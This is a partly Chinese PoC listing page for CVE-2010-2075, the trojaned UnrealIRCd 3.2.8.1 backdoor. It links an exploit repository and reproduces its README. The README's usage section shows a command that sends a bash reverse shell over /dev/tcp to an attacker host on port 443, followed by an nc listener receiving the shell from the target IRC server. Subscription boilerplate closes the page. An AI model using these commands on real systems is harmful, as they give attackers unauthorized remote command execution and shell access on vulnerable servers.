CVE-2010-2075 PoC — UnrealIRCd 后门未授权访问漏洞

Source

https://github.com/FredBrave/CVE-2010-2075-UnrealIRCd-3.2.8.1

Associated Vulnerability

Title:UnrealIRCd 后门未授权访问漏洞 (CVE-2010-2075)
Description:UnrealIRCd 3.2.8.1, as distributed on certain mirror sites from November 2009 through June 2010, contains an externally introduced modification (Trojan Horse) in the DEBUG3_DOLOG_SYSTEM macro, which allows remote attackers to execute arbitrary commands.

Description

Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1.

Readme

# CVE-2010-2075
Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1.
# Requirements
optparse, signal
# Usage
You can send a command to execute, but there will be times when it will not respond, but you can simply send a reverse shell and wait for it to arrive.
```bash
python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...
```
And I received the shell
```bash
nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.48] from (UNKNOWN) [10.0.2.119] 56916
bash: cannot set terminal process group (415): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!